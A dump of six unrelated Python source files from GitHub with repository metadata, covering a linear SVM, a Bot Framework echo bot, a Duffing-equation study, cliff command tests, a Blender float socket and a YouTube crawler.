{"seq_id": "25533140550", "text": "import numpy as np\nfrom common.iterator import data_iterator\nfrom common.plot import plot\n\n'''\n    以下为二分类问题的SVM, label = -1 || 1\n'''\nclass LinearSVM:\n    def __init__(self, learning_rate = 0.01, w_reg = 0.1, max_epoch = 30, batch_size = 32):\n        self.learning_rate = learning_rate\n        self.w_reg = w_reg\n        self.max_epoch = max_epoch\n        self.batch_size = batch_size\n\n    def __loss(self,X,y):\n        hinge_loss = np.maximum(0, 1 - (y * ( (X @ self.w ) + self.b)))\n        loss = np.mean(hinge_loss) + 0.5 * self.w_reg * np.sum(self.w**2)\n        dW = self.w_reg * self.w - np.where(hinge_loss > 0, y, 0) @ X\n        db = - np.mean(y * (hinge_loss > 0),axis=0)\n        return loss, dW , db\n\n    def fit(self, X, y, update_epoch = 5, need_plot=False, verbose = False):\n        '''\n            trick: 每次训练update_epoch后，使用平均值来更新w和b\n        '''\n        self.w = np.random.randn(X.shape[1])\n        self.b = np.random.randn(1)\n        self.meanW = np.zeros_like(self.w)\n        self.meanb = np.zeros_like(self.b)\n        acc = []\n        loss = []\n        for i in range(self.max_epoch):\n            batch_loss = []\n            batch_acc = []\n            for X_batch, y_batch in data_iterator(X, y, self.batch_size, shuffle=True):\n                current_loss, gradW, gradb = self.__loss(X_batch, y_batch)\n                batch_loss.append(current_loss)\n                batch_acc.append(np.sum(self.predict(X_batch) == y_batch) / X_batch.shape[0])\n                self.w -= self.learning_rate * gradW\n                self.b -= self.learning_rate * gradb\n            if verbose:\n                print(\"Train epoch @\", i, \"mean_batch_acc: %.4f\" % np.mean(batch_acc), \"mean_batch_loss: %.4f\" % np.mean(batch_loss))\n            self.meanW += self.w / update_epoch\n            self.meanb += self.b / update_epoch\n            if i % update_epoch == 0:\n                self.w = self.meanW\n                self.b = self.meanb\n                self.meanW = np.zeros_like(self.w)\n                self.meanb = np.zeros_like(self.b)\n            if need_plot:\n                loss.append(np.mean(batch_loss))\n                acc.append(np.mean(batch_acc))\n        if need_plot:\n            plot(range(self.max_epoch), acc)\n            plot(range(self.max_epoch), loss, label=\"Loss\")\n    \n    def predict(self, X):\n        y_pred = (X @ self.w) + self.b\n        y_pred[y_pred <= 0] = -1\n        y_pred[y_pred > 0] = 1\n        return y_pred\n\nif __name__ == '__main__':\n    from common.load_data import breast_cancer, load_data\n    from sklearn.metrics import classification_report\n    from sklearn.model_selection import train_test_split\n    X,y = load_data(breast_cancer, scale = True)\n    y[y == 0] = -1\n    X_train, X_test, y_train, y_test = train_test_split(X,y,test_size=0.2)\n    clf = LinearSVM()\n    clf.fit(X_train, y_train, need_plot = True)\n    pred = clf.predict(X_test)\n    print(classification_report(y_test, pred))\n\n    from sklearn.svm import LinearSVC as s\n    clf = s()\n    clf.fit(X_train, y_train)\n    pred = clf.predict(X_test)\n    print(classification_report(y_test, pred))", "repo_name": "heyl18/ML-lib", "sub_path": "src/linearSvm.py", "file_name": "linearSvm.py", "file_ext": "py", "file_size_in_byte": 3139, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.maximum", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.zeros_like", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 29, "usage_type": "call"}, {"api_name": "common.iterator.data_iterator", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 52, "usage_type": "call"}, {"api_name": "common.plot.plot", "line_number": 54, "usage_type": "call"}, {"api_name": "common.plot.plot", "line_number": 55, "usage_type": "call"}, {"api_name": "common.load_data.load_data", "line_number": 67, "usage_type": "call"}, {"api_name": "common.load_data.breast_cancer", "line_number": 67, "usage_type": "argument"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 69, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 73, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVC", "line_number": 76, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 79, "usage_type": "call"}]}
{"seq_id": "13248545306", "text": "# -*- coding: utf-8 -*-\nimport time\nimport requests\nimport json\nfrom threading import Thread\nfrom flask import request, Flask\n\nFLASK = Flask(__name__)\nAPP_ID = 'INSERT YOURS'\nPASSWORD = 'INSERT YOURS' # секрет от бота\ncontext =('fullchain.pem', 'privkey.pem') # относительные или абсолютные пути к файлам, которые сгенерировал cert_bot\nTOKEN = {}\n\n\ndef get_token():\n    global TOKEN\n    payload = {'grant_type': 'client_credentials',\n               'client_id': APP_ID,\n               'client_secret': PASSWORD,\n               'scope': 'https://api.botframework.com/.default',\n              }\n    token = requests.post('https://login.microsoftonline.com/botframework.com/oauth2/v2.0/token', data=payload).content\n    TOKEN = json.loads(str(token)[2:-1])\n    return json.loads(str(token)[2:-1])\n\n\ndef send_token_to_connector(token):\n    url = 'https://groupme.botframework.com/v3/conversations'\n    headers = {'Authorization': 'Bearer ' + token}\n    r = requests.post(url, headers=headers)\n    return r\n\n\ndef get_and_verify_token():\n    global TOKEN\n    while True:\n        get_token()\n        send_token_to_connector(TOKEN['access_token'])\n        time.sleep(TOKEN['expires_in']*0.9)\n\n\n@FLASK.route('/', methods=['GET', 'POST'])\ndef handle():\n    data = request.get_json()\n    talk_id = data['conversation']['id']\n    msg = {\n        \"type\": \"message\",\n        \"from\": {\n                \"id\": APP_ID,\n                \"name\": \"habraechobot\"\n            },\n        \"conversation\": {\n            \"id\": talk_id,\n        },\n        \"text\": data['text'],\n    }\n    url = data['serviceUrl'] + '/v3/conversations/{}/activities/'.format(data['conversation']['id'])\n    headers = {'Authorization': 'Bearer ' + TOKEN['access_token'],\n               'content-type': 'application/json; charset=utf8'}\n    r = requests.post(url, headers=headers, data=json.dumps(msg))\n    return 'success'\n\n\n\n\nif __name__ == '__main__':\n    thread = Thread( target=get_and_verify_token )\n    thread.start()\n    FLASK.run(host='0.0.0.0', port=8080, ssl_context=context)\n\n\n\n\n", "repo_name": "AverageS/echobot", "sub_path": "echo_bot.py", "file_name": "echo_bot.py", "file_ext": "py", "file_size_in_byte": 2110, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 22, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 23, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 24, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 30, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 44, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 60, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 60, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 67, "usage_type": "call"}]}
{"seq_id": "9273387047", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 20 14:24:20 2018\n@author: Alma Andersson\n\nCreated for Exercise 2 with focus on the Duffing Equation.\nThis script will allow one to plot all the orbits of with different initial conditions\nor values of epsilon. Comparission with the solution obtained when using Poincaré-Lindstedts\nmethod.\n\nTwo different cases of analysis are provided  and may be run by changing the settings of\ndifferent variables:\n\n    1. Dependency of omega on epsilon. Fixed initial value, varying epsilon : by_epsilon = True\n    2. Dependency of omega on initial value. Fixed epsilon, varying initial values. : by_initial = True \n\n\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom homework2 import *\n\n\ndef approximated_period(x0,epsilon):\n    \"\"\"\n    Approximated solution using Poincaré-Lindstedts method.\n    \"\"\"\n    omega = 1.0 + 3.0*x0**2/8.0*epsilon\n    return omega\n    \n\ndef autocorrelate(series,h=0):\n    \"\"\"\n    Function to estimate the period of the numerical solutions\n    \"\"\"\n    T = series.shape[0]\n    tlist = np.arange(T)\n    corr = np.zeros(T)\n    for t in tlist:\n        k = 0\n        for j in xrange(T-t):\n            k += 1.\n            corr[t] += np.abs(series[j]-series[j+t])\n        corr[t] = corr[t]/k\n    if h:\n        period = np.argmin(corr[1::])*h\n        return corr, period\n    else:\n        return corr\n    \nclass Function:\n    \"\"\"\n    Function used in numerical integration. Here the rewritten form of the\n    Duffing Equation.\n    \"\"\"\n    def __init__(self,E):\n        self.epsilon = E\n    def function(self,t,y):\n        return [y[1], -y[0]-self.epsilon*y[0]**3]\n\nif __name__ == '__main__':\n#%% Compare different values of epsilon, fixed initial condition\n    by_epsilon = True\n    if by_epsilon:\n        H = 0.01\n        initial_value = [1,0]\n        epsilon_list = np.array([0.001,0.01,0.1,0.2,0.3,0.5])\n        period,aprx_eps = [],[]\n        for (neps,epsilon) in enumerate(epsilon_list):\n            f1 = Function(epsilon)\n            mk = Orbit_Maker(f1.function,h=H)\n            t = [0,10]\n            mk.generate_trajectory(t,initial_value)\n            mk.plot_trajs()\n            acorr, period_temp = autocorrelate(mk.traj[:,0],h=H)\n            period.append(period_temp)\n            aprx_eps.append(approximated_period(initial_value[0],epsilon))\n        period = np.array(period)\n        aprx_eps = np.array(aprx_eps)\n        plt.show()\n        \n        plt.figure()\n        plt.plot(epsilon_list,np.pi*2./period,'bo--')\n        plt.plot(epsilon_list,aprx_eps,'ro--')\n        plt.xlabel(r'$\\epsilon$',fontsize=25)\n        plt.ylabel(r'$\\omega$',fontsize=25)\n#%% Compare different initial value, fixed epsilon\n    by_initial = False\n    if by_initial:\n        H = 0.01\n        epsilon = 0.01\n        f1 = Function(epsilon)\n        mk = Orbit_Maker(f1.function,h=H)\n        t = [0,10]\n        timeseries,valseries = [], []\n        initial_values = np.array([[0.5,0],[1,0],[2,0],[3,0],[4,0]])\n        for pt in initial_values:\n            mk.generate_trajectory(t,pt)\n            timeseries.append(mk.time)\n            valseries.append(mk.traj)\n        mk.plot_trajs()\n        \n        period = []\n        for ii in xrange(len(initial_values)):\n            vals = valseries[ii][:,0]\n            acorr, period_ini = autocorrelate(vals,h=H)\n            period.append(period_ini)\n        period = np.array(period)\n            \n        plt.figure()\n        plt.plot(initial_values[:,0],np.pi*2.0/period,'bo--')\n        plt.plot(initial_values[:,0],approximated_period(initial_values[:,0],epsilon),'ro--')\n        plt.xlabel(r'$a$',fontsize=25)\n        plt.ylabel(r'$\\omega$',fontsize=25)", "repo_name": "almaan/SI2540_Homework2", "sub_path": "ex2_duffing_equation.py", "file_name": "ex2_duffing_equation.py", "file_ext": "py", "file_size_in_byte": 3679, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.arange", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 85, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 113, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}]}
{"seq_id": "42705228907", "text": "#  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n#  not use this file except in compliance with the License. You may obtain\n#  a copy of the License at\n#\n#       http://www.apache.org/licenses/LICENSE-2.0\n#\n#  Unless required by applicable law or agreed to in writing, software\n#  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n#  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n#  License for the specific language governing permissions and limitations\n#  under the License.\n\nimport argparse\nimport functools\n\nfrom cliff import command\nfrom cliff.tests import base\n\n\nclass TestCommand(command.Command):\n    \"\"\"Description of command.\n    \"\"\"\n\n    def get_parser(self, prog_name):\n        parser = super(TestCommand, self).get_parser(prog_name)\n        parser.add_argument(\n            'long_help_argument',\n            help=\"Create a NIC on the server.\\n\"\n                 \"Specify option multiple times to create multiple NICs. \"\n                 \"Either net-id or port-id must be provided, but not both.\\n\"\n                 \"net-id: attach NIC to network with this UUID\\n\"\n                 \"port-id: attach NIC to port with this UUID\\n\"\n                 \"v4-fixed-ip: IPv4 fixed address for NIC (optional)\\n\"\n                 \"v6-fixed-ip: IPv6 fixed address for NIC (optional)\\n\"\n                 \"none: (v2.37+) no network is attached\\n\"\n                 \"auto: (v2.37+) the compute service will automatically \"\n                 \"allocate a network.\\n\"\n                 \"Specifying a --nic of auto or none \"\n                 \"cannot be used with any other --nic value.\",\n        )\n        parser.add_argument(\n            'regular_help_argument',\n            help=\"The quick brown fox jumps \"\n                 \"over the lazy dog.\",\n        )\n        parser.add_argument(\n            '-z',\n            dest='zippy',\n            default='zippy-default',\n            help='defined in TestCommand and used in TestArgumentParser',\n        )\n        return parser\n\n    def take_action(self, parsed_args):\n        return 42\n\n\nclass TestCommandNoDocstring(command.Command):\n\n    def take_action(self, parsed_args):\n        return 42\n\n\nclass TestDescription(base.TestBase):\n\n    def test_get_description_docstring(self):\n        cmd = TestCommand(None, None)\n        desc = cmd.get_description()\n        assert desc == \"Description of command.\\n    \"\n\n    def test_get_description_attribute(self):\n        cmd = TestCommand(None, None)\n        # Artificially inject a value for _description to verify that it\n        # overrides the docstring.\n        cmd._description = 'this is not the default'\n        desc = cmd.get_description()\n        assert desc == 'this is not the default'\n\n    def test_get_description_default(self):\n        cmd = TestCommandNoDocstring(None, None)\n        desc = cmd.get_description()\n        assert desc == ''\n\n\nclass TestBasicValues(base.TestBase):\n\n    def test_get_parser(self):\n        cmd = TestCommand(None, None)\n        parser = cmd.get_parser('NAME')\n        assert parser.prog == 'NAME'\n\n    def test_get_name(self):\n        cmd = TestCommand(None, None, cmd_name='object action')\n        assert cmd.cmd_name == 'object action'\n\n    def test_run_return(self):\n        cmd = TestCommand(None, None, cmd_name='object action')\n        assert cmd.run(None) == 42\n\n\nexpected_help_message = \"\"\"\n  long_help_argument    Create a NIC on the server.\n                        Specify option multiple times to create multiple NICs.\n                        Either net-id or port-id must be provided, but not\n                        both.\n                        net-id: attach NIC to network with this UUID\n                        port-id: attach NIC to port with this UUID\n                        v4-fixed-ip: IPv4 fixed address for NIC (optional)\n                        v6-fixed-ip: IPv6 fixed address for NIC (optional)\n                        none: (v2.37+) no network is attached\n                        auto: (v2.37+) the compute service will automatically\n                        allocate a network.\n                        Specifying a --nic of auto or none cannot be used with\n                        any other --nic value.\n  regular_help_argument\n                        The quick brown fox jumps over the lazy dog.\n\"\"\"\n\n\nclass TestHelp(base.TestBase):\n\n    def test_smart_help_formatter(self):\n        cmd = TestCommand(None, None)\n        parser = cmd.get_parser('NAME')\n        # Set up the formatter to always use a width=80 so that the\n        # terminal width of the developer's system does not cause the\n        # test to fail. Trying to mock os.environ failed, but there is\n        # an arg to HelpFormatter to set the width\n        # explicitly. Unfortunately, there is no way to do that\n        # through the parser, so we have to replace the parser's\n        # formatter_class attribute with a partial() that passes width\n        # to the original class.\n        parser.formatter_class = functools.partial(\n            parser.formatter_class,\n            width=78,\n        )\n        self.assertIn(expected_help_message, parser.format_help())\n\n\nclass TestArgumentParser(base.TestBase):\n\n    def test_option_name_collision(self):\n        cmd = TestCommand(None, None)\n        parser = cmd.get_parser('NAME')\n        # We should have an exception registering an option with a\n        # name that already exists because we configure the argument\n        # parser to ignore conflicts but this option has no other name\n        # to be used.\n        self.assertRaises(\n            argparse.ArgumentError,\n            parser.add_argument,\n            '-z',\n        )\n\n    def test_option_name_collision_with_alias(self):\n        cmd = TestCommand(None, None)\n        parser = cmd.get_parser('NAME')\n        # We not should have an exception registering an option with a\n        # name that already exists because we configure the argument\n        # parser to ignore conflicts and this option can be added as\n        # --zero even if the -z is ignored.\n        parser.add_argument('-z', '--zero')\n\n    def test_resolve_option_with_name_collision(self):\n        cmd = TestCommand(None, None)\n        parser = cmd.get_parser('NAME')\n        parser.add_argument(\n            '-z', '--zero',\n            dest='zero',\n            default='zero-default',\n        )\n        args = parser.parse_args(['-z', 'foo', 'a', 'b'])\n        self.assertEqual(args.zippy, 'foo')\n        self.assertEqual(args.zero, 'zero-default')\n\n    def test_with_conflict_handler(self):\n        cmd = TestCommand(None, None)\n        cmd.conflict_handler = 'resolve'\n        parser = cmd.get_parser('NAME')\n        self.assertEqual(parser.conflict_handler, 'resolve')\n\n    def test_raise_conflict_argument_error(self):\n        cmd = TestCommand(None, None)\n        parser = cmd.get_parser('NAME')\n        parser.add_argument(\n            '-f', '--foo',\n            dest='foo',\n            default='foo',\n        )\n        self.assertRaises(\n            argparse.ArgumentError,\n            parser.add_argument,\n            '-f',\n        )\n\n    def test_resolve_conflict_argument(self):\n        cmd = TestCommand(None, None)\n        cmd.conflict_handler = 'resolve'\n        parser = cmd.get_parser('NAME')\n        parser.add_argument(\n            '-f', '--foo',\n            dest='foo',\n            default='foo',\n        )\n        parser.add_argument(\n            '-f', '--foo',\n            dest='foo',\n            default='bar',\n        )\n        args = parser.parse_args(['a', 'b'])\n        self.assertEqual(args.foo, 'bar')\n\n    def test_wrong_conflict_handler(self):\n        cmd = TestCommand(None, None)\n        cmd.conflict_handler = 'wrong'\n        self.assertRaises(\n            ValueError,\n            cmd.get_parser,\n            'NAME',\n        )\n", "repo_name": "openstack/cliff", "sub_path": "cliff/tests/test_command.py", "file_name": "test_command.py", "file_ext": "py", "file_size_in_byte": 7837, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 220, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cliff.command.Command", "line_number": 20, "usage_type": "attribute"}, {"api_name": "cliff.command", "line_number": 20, "usage_type": "name"}, {"api_name": "cliff.command.Command", "line_number": 58, "usage_type": "attribute"}, {"api_name": "cliff.command", "line_number": 58, "usage_type": "name"}, {"api_name": "cliff.tests.base.TestBase", "line_number": 64, "usage_type": "attribute"}, {"api_name": "cliff.tests.base", "line_number": 64, "usage_type": "name"}, {"api_name": "cliff.tests.base.TestBase", "line_number": 85, "usage_type": "attribute"}, {"api_name": "cliff.tests.base", "line_number": 85, "usage_type": "name"}, {"api_name": "cliff.tests.base.TestBase", "line_number": 120, "usage_type": "attribute"}, {"api_name": "cliff.tests.base", "line_number": 120, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 133, "usage_type": "call"}, {"api_name": "cliff.tests.base.TestBase", "line_number": 140, "usage_type": "attribute"}, {"api_name": "cliff.tests.base", "line_number": 140, "usage_type": "name"}, {"api_name": "argparse.ArgumentError", "line_number": 150, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentError", "line_number": 191, "usage_type": "attribute"}]}
{"seq_id": "13037555237", "text": "import bpy\nimport sys\nfrom bpy.props import *\nfrom .. events import propertyChanged\nfrom .. data_structures import DoubleList\nfrom .. base_types import AnimationNodeSocket, CListSocket\nfrom . implicit_conversion import registerImplicitConversion\n\ndef getValue(self):\n    return min(max(self.minValue, self.get(\"value\", 0)), self.maxValue)\ndef setValue(self, value):\n    self[\"value\"] = min(max(self.minValue, value), self.maxValue)\n\nclass FloatSocket(bpy.types.NodeSocket, AnimationNodeSocket):\n    bl_idname = \"an_FloatSocket\"\n    bl_label = \"Float Socket\"\n    dataType = \"Float\"\n    drawColor = (0.4, 0.4, 0.7, 1)\n    comparable = True\n    storable = True\n\n    value: FloatProperty(default = 0.0,\n        set = setValue, get = getValue,\n        update = propertyChanged)\n\n    minValue: FloatProperty(default = -1e10)\n    maxValue: FloatProperty(default = sys.float_info.max)\n\n    def drawProperty(self, layout, text, node):\n        layout.prop(self, \"value\", text = text)\n\n    def getValue(self):\n        return self.value\n\n    def setProperty(self, data):\n        self.value = data\n\n    def getProperty(self):\n        return self.value\n\n    def setRange(self, min, max):\n        self.minValue = min\n        self.maxValue = max\n\n    @classmethod\n    def getDefaultValue(cls):\n        return 0\n\n    @classmethod\n    def correctValue(cls, value):\n        if isinstance(value, (float, int)):\n            return value, 0\n        else:\n            try: return float(value), 1\n            except: return cls.getDefaultValue(), 2\n\nregisterImplicitConversion(\"Boolean\", \"Float\", \"float(value)\")\nregisterImplicitConversion(\"Integer\", \"Float\", None)\n\n\nclass FloatListSocket(bpy.types.NodeSocket, CListSocket):\n    bl_idname = \"an_FloatListSocket\"\n    bl_label = \"Float List Socket\"\n    dataType = \"Float List\"\n    baseType = FloatSocket\n    drawColor = (0.4, 0.4, 0.7, 0.5)\n    storable = True\n    comparable = False\n    listClass = DoubleList\n\nfrom .. nodes.boolean.c_utils import convert_BooleanList_to_DoubleList\nregisterImplicitConversion(\"Boolean List\", \"Float List\", convert_BooleanList_to_DoubleList)\n\nfor dataType in [\"Integer List\", \"Edge Indices\", \"Polygon Indices\"]:\n    registerImplicitConversion(dataType, \"Float List\", \"DoubleList.fromValues(value)\")\n", "repo_name": "JacquesLucke/animation_nodes", "sub_path": "animation_nodes/sockets/float.py", "file_name": "float.py", "file_ext": "py", "file_size_in_byte": 2257, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2231, "dataset": "github-code", "pt": "81", "api": [{"api_name": "bpy.types", "line_number": 14, "usage_type": "attribute"}, {"api_name": "base_types.AnimationNodeSocket", "line_number": 14, "usage_type": "name"}, {"api_name": "events.propertyChanged", "line_number": 24, "usage_type": "name"}, {"api_name": "sys.float_info", "line_number": 27, "usage_type": "attribute"}, {"api_name": "implicit_conversion.registerImplicitConversion", "line_number": 57, "usage_type": "call"}, {"api_name": "implicit_conversion.registerImplicitConversion", "line_number": 58, "usage_type": "call"}, {"api_name": "bpy.types", "line_number": 61, "usage_type": "attribute"}, {"api_name": "base_types.CListSocket", "line_number": 61, "usage_type": "name"}, {"api_name": "data_structures.DoubleList", "line_number": 69, "usage_type": "name"}, {"api_name": "implicit_conversion.registerImplicitConversion", "line_number": 72, "usage_type": "call"}, {"api_name": "nodes.boolean.c_utils.convert_BooleanList_to_DoubleList", "line_number": 72, "usage_type": "argument"}, {"api_name": "implicit_conversion.registerImplicitConversion", "line_number": 75, "usage_type": "call"}]}
{"seq_id": "9266231644", "text": "\nimport googleapiclient.discovery\nimport time\nfrom tqdm import tqdm\nimport argparse\nimport youtube_dl\n\n\n\nclass YoutubeCrawl:\n    \"\"\" This class is used to crawl the youtube data ( infos and videos)\n    yout can read the documentation of the youtube api on https://github.com/ytdl-org/youtube-dl\n    \n    All Viedeos the crawler will download will be in the 002_intermediate/youtubeDownloads folder\n    \"\"\"\n      \n    api_service_name = \"youtube\"\n    api_version = \"v3\"\n    DEVELOPER_KEY = None\n    youtube=None\n    path=None\n     \n    apiDelay=1.5  \n    api=None\n    \n    log=None\n    \"\"\" log is a class that handles the logging of the master class, \n    it is a class that is used to log the information, warnings and errors.\n    this class is passed to all modules \n    \"\"\"\n    log_inf=None\n    \"\"\" every step of the project should be saved, so every log ist saved in the info.log file \"\"\"\n    log_error=None\n    \"\"\" only for crash error handling \"\"\"\n    log_warnlog=None\n    \"\"\" sometimes it the code will work, but the data are not correct but the code will pass. User this log for warnings \"\"\"\n    log_log_debug=None\n    \"\"\"\" I can't programm without bugs, but the log_debug log helps me to find bugs \"\"\"\n    \n     \n    # initialize the class with the root directory of the dataset \n    def __init__(self,DEVELOPER_KEY,path,logging, runtime):\n        self.path=path\n        self.DEVELOPER_KEY = DEVELOPER_KEY\n        self.youtube = googleapiclient.discovery.build(\n            self.api_service_name, self.api_version, developerKey = self.DEVELOPER_KEY)\n        \n        self.log= logging\n        self.log_inf=logging.InfoLogger(logging,__name__)\n        self.log_error=logging.ErrorLogger(logging,__name__)\n        self.log_warnlog=logging.WarningLogger(logging,__name__)\n        self.log_debug=logging.DebugLogger(logging,__name__)\n        \n        self.run= runtime(__name__)    \n        \n        \n    def delay(self,t):\n        \"\"\" Sometime the api is not so fast so we have to wait a little bit, on default it is 1.5 sec\"\"\"\n        self.apiDelay=t\n    \n    \n    def crawlList(self,list_id,use_preload_only=None):    \n            \"\"\"\" Crawls a list of tweet ID and returned it as list of objects,\n            \n            use_preload_only= True --> to use the preload data\n            use_preload_only= False --> crawl hole list\n            use_preload_only= None --> check if the data is already in the preload data and if not crawl it\"\"\"\n            \n            \n            results=[]\n            counter = 0   \n            error_counter = 0\n            for toDO in tqdm(list_id):\n                    \n                    #check if the tweet is already crawled in .runtime\n                    if self.run.search(toDO) and (use_preload_only is None or use_preload_only==True):\n                        results.append(self.run.get)\n                        \n                    else:\n                        if use_preload_only==True:\n                            continue\n                        try:\n                            request = self.youtube.commentThreads().list(\n                                part=\"snippet\",\n                                id=toDO\n                            )\n                            response = request.execute()\n                            results.append(response['items'])\n                            self.run.add(toDO,response['items']) \n                            \n                        except:    \n                            error_counter = error_counter + 1\n                            continue\n                    pass\n            \n            self.log_warnlog.write().info(\"crawlList (\"+str(len(list_id))+\" - entries): Rusults=\"+str(len(results))+\" ____\"+str(counter)+\" tweets crawled online --- \"+str(error_counter)+\" errors\")\n            self.run.done()\n            return results\n    \n    def getData(self,contentid):\n        \"\"\" This function return the data of a single youtube id\"\"\"\n        request = self.youtube.commentThreads().list(\n            part=\"snippet\",\n            id=contentid\n        )\n        response = request.execute()\n        return self.listJsonToDict(response['items'])\n\n\n    def listJsonToDict(self,list_json):\n        \"\"\" This function convert a list of json to a list of dict\"\"\"\n        list_dict=[]\n        for json in list_json:\n            list_dict.append(json)\n        return list_dict\n    \n    def videodownloader(self,videoId,path):\n        \"\"\" This function download the video of a youtube video id in the intermediate folder\"\"\"\n        url = 'https://www.youtube.com/watch?v='+videoId\n        ydl_opts = {\n            'format': 'bestvideo/best',\n            'outtmpl': path+'/youtubeDownloads/' +videoId+'_' +'%(title)s.%(ext)s',\n            'noplaylist': True,\n        }\n        with youtube_dl.YoutubeDL(ydl_opts) as ydl:\n            ydl.download([url])\n                \n   \n   \n            \n        \n    ", "repo_name": "Andybabic/datalib", "sub_path": "bandyDatalib/_0003_Code/_0001_Modules/_002_Social_Media_Crawler/master/submodul/crawlerYoutube.py", "file_name": "crawlerYoutube.py", "file_ext": "py", "file_size_in_byte": 4903, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "googleapiclient.discovery.discovery.build", "line_number": 45, "usage_type": "call"}, {"api_name": "googleapiclient.discovery.discovery", "line_number": 45, "usage_type": "attribute"}, {"api_name": "googleapiclient.discovery", "line_number": 45, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 73, "usage_type": "call"}, {"api_name": "youtube_dl.YoutubeDL", "line_number": 125, "usage_type": "call"}]}
